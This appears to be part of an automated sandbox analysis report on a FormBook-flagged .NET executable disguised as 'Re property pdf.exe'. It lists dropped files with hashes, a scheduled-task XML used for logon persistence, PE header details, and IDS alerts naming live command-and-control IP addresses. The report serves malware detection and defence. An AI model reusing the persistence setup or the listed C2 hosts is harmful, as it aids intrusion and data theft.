	f7goD45EHo.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	W4x0CDQAiw.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	oP7CbGHVDZ.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	f4Ghw1L3EH.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	4pzJGIIsej.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
ASN-QUADRANET-GLOBALUS	rSolicita____odeCota____o.exe	Get hash	malicious	XWorm	Browse	104.223.35.76
	z7N__MERODEORDENDECOMPRANO8478PDF.exe	Get hash	malicious	FormBook	Browse	104.223.44.195
	mips.elf	Get hash	malicious	Mirai	Browse	45.199.228.228
	i686.elf	Get hash	malicious	Mirai	Browse	45.199.228.212
	Q6gqt5HiOS.elf	Get hash	malicious	Mirai	Browse	107.150.15.116
	AkFRdvLzaO.exe	Get hash	malicious	XWorm	Browse	107.150.23.154
	na.hta	Get hash	malicious	XWorm	Browse	107.150.23.154
	KULI500796821_PO20000003.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.174.101.218
	S_code_runner.ps1	Get hash	malicious	Unknown	Browse	192.52.166.186
	RemotePCViewer.exe	Get hash	malicious	Unknown	Browse	66.63.166.194

Process:	C:\Users\user\Desktop\Re property pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hwOHPmqcegxcxb.exe.log

Process:	C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4xympjgs4RIoU99tK8NPZHUl7u1iMuge//ZMRvUyus:lGLHxvCsIfA2KRHmOugras
MD5:	206820631F5A535AD90324CEA0C3F71B
SHA1:	A79FC4006BB113CEBB5D00EC355638740985079F
SHA-256:	AAAB7406C1292ACBC9740C2926E7F3C4B3E2D3D1CCDC31A15D5BEEF73174EF6A
SHA-512:	53A1B1975EA33ED7C577F923D07B9072222EE4098A4EB363DE0DC7234F80B10A216399132803904885F59A6DE7509C824A5259EE8E89D366C9EE2F7B3AD54AD2
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\15IDF6Mq

Process:	C:\Windows\SysWOW64\PresentationHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2sko0ow.pl2.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_elqsa325.21x.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i45hesfw.i03.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qtb0srla.15e.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp4EB6.tmp

Process:	C:\Users\user\Desktop\Re property pdf.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.116723693613252
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtap9xvn:cge1wYrFdOFzOzN33ODOiDdKrsuTaDv
MD5:	E8D9B7DF7C39F49D2826876535F11C0A
SHA1:	859F56DE28201CF6BBB7213C0D165643898A4CAE
SHA-256:	48FBB2FF40B7CF99F4A1BDEDC11BA37A6E1F7C62BD405DD56CE5A4ECD328F1E8
SHA-512:	4AC392E7165E07DE5A921B83A67E694C2CAA22976E98F76DE4370C4EB61F4D207B39C1984DC70761FB5112FB2FE0D04F8EBDC32DA05F5D4AC6178EF866626953
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp600C.tmp

Process:	C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.116723693613252
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtap9xvn:cge1wYrFdOFzOzN33ODOiDdKrsuTaDv
MD5:	E8D9B7DF7C39F49D2826876535F11C0A
SHA1:	859F56DE28201CF6BBB7213C0D165643898A4CAE
SHA-256:	48FBB2FF40B7CF99F4A1BDEDC11BA37A6E1F7C62BD405DD56CE5A4ECD328F1E8
SHA-512:	4AC392E7165E07DE5A921B83A67E694C2CAA22976E98F76DE4370C4EB61F4D207B39C1984DC70761FB5112FB2FE0D04F8EBDC32DA05F5D4AC6178EF866626953
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe

Process:	C:\Users\user\Desktop\Re property pdf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	702976
Entropy (8bit):	7.860155640899553
Encrypted:	false
SSDEEP:	12288:cKIFhlPlL/LMopPIIA6J1x5/9uQQbolbczlsP7AAsZK4G45AWqpA/:cKIdPlL4wo6PL9EbolbczlsP0A/43d0u
MD5:	A217FF7DA729F56FAF0BB3DE4AD87F40
SHA1:	991801525B52069BB48C8C2907DCB587C592CE11
SHA-256:	A9D4AA43728B39FDE9BA1AE406C10904369C6CCFBEED1C347B847B0E8CA6BCB1
SHA-512:	070313B2038B7A4E4E2D3CCB0668081136DB1CA0B855BAC3F5DC698E2CCE52E035CFC9E93B63D6578593D6E1104B3D7D069D7E5188FE62E3A967C4B5E8F9CF7E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g..............0.................. ........@.. ....................... ............`.....................................O.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......8?...9......@....y...G..........................................V.(.......s....o.......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}....".(.......{...."..}......{...."..}......{...."..}......{...."..}......s6...}......}.....(.......(....&..(.....*....0..@.........{.....{....o;...(...+o ...

C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\Re property pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.860155640899553
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Re property pdf.exe
File size:	702'976 bytes
MD5:	a217ff7da729f56faf0bb3de4ad87f40
SHA1:	991801525b52069bb48c8c2907dcb587c592ce11
SHA256:	a9d4aa43728b39fde9ba1ae406c10904369c6ccfbeed1c347b847b0e8ca6bcb1
SHA512:	070313b2038b7a4e4e2d3ccb0668081136db1ca0b855bac3f5dc698e2cce52e035cfc9e93b63d6578593d6e1104b3d7d069d7e5188fe62e3a967c4b5e8f9cf7e
SSDEEP:	12288:cKIFhlPlL/LMopPIIA6J1x5/9uQQbolbczlsP7AAsZK4G45AWqpA/:cKIdPlL4wo6PL9EbolbczlsP0A/43d0u
TLSH:	C6E41260A92EEC32C9E517B01130E7B30B769ECCE411D3139AEEECD7BA167963595390
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g..............0.................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	01242c66198d8d9e

Static PE Info

General

Entrypoint:	0x4ac0ea
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x670CAC16 [Mon Oct 14 05:28:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac098	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xae000	0x13a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xaa0f0	0xaa200	8fcde93f14ddb9ff7422e5b43203b757	False	0.9354421151726672	data	7.86751234729538	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xae000	0x13a0	0x1400	ebb35198339d57f64c78c30ea7b3d150	False	0.7779296875	data	7.02613144452689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb0000	0xc	0x200	1a1c52b516a55b98a1461b2cf52e3751	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xae0c8	0xf91	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.8936010037641154
RT_GROUP_ICON	0xaf06c	0x14	data	1.05
RT_VERSION	0xaf090	0x30c	data	0.4307692307692308

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-19T12:57:04.005504+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49762	3.33.130.190	80	TCP
2024-10-19T12:57:19.980760+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49843	172.67.181.186	80	TCP
2024-10-19T12:57:22.531220+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49858	172.67.181.186	80	TCP
2024-10-19T12:57:22.531220+0200	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.4	49858	172.67.181.186	80	TCP
2024-10-19T12:57:25.081677+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49873	172.67.181.186	80	TCP
2024-10-19T12:57:27.617419+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49888	172.67.181.186	80	TCP
2024-10-19T12:57:33.502533+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49919	104.223.44.195	80	TCP
2024-10-19T12:57:36.076138+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49935	104.223.44.195	80	TCP
2024-10-19T12:57:38.646681+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49950	104.223.44.195	80	TCP
2024-10-19T12:57:41.162826+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49965	104.223.44.195	80	TCP
2024-10-19T12:57:46.915593+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49996	203.161.41.204	80	TCP
2024-10-19T12:57:49.499537+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50012	203.161.41.204	80	TCP
2024-10-19T12:57:52.075550+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50018	203.161.41.204	80	TCP
2024-10-19T12:57:54.615907+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50019	203.161.41.204	80	TCP
2024-10-19T12:58:00.290772+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50020	3.33.130.190	80	TCP
2024-10-19T12:58:02.812516+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50021	3.33.130.190	80	TCP
2024-10-19T12:58:05.380413+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50022	3.33.130.190	80	TCP
2024-10-19T12:58:07.936908+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50023	3.33.130.190	80	TCP
2024-10-19T12:58:14.950484+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50024	221.128.225.57	80	TCP
2024-10-19T12:58:17.485658+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50025	221.128.225.57	80	TCP
2024-10-19T12:58:20.030369+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50026	221.128.225.57	80	TCP
2024-10-19T12:58:22.594449+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50027	221.128.225.57	80	TCP
2024-10-19T12:58:29.004494+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50028	199.59.243.227	80	TCP
2024-10-19T12:58:31.054944+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50029	199.59.243.227	80	TCP
2024-10-19T12:58:33.656681+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50030	199.59.243.227	80	TCP
2024-10-19T12:58:36.149413+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50031	199.59.243.227	80	TCP
2024-10-19T12:58:41.958210+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50032	172.67.196.90	80	TCP
2024-10-19T12:58:44.518082+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50033	172.67.196.90	80	TCP
2024-10-19T12:58:47.127683+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50034	172.67.196.90	80	TCP
2024-10-19T12:58:49.613095+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50035	172.67.196.90	80	TCP
2024-10-19T12:58:55.287439+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50036	3.33.130.190	80	TCP
2024-10-19T12:58:57.831784+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50037	3.33.130.190	80	TCP
2024-10-19T12:59:00.399260+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50038	3.33.130.190	80	TCP
2024-10-19T12:59:02.923816+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50039	3.33.130.190	80	TCP
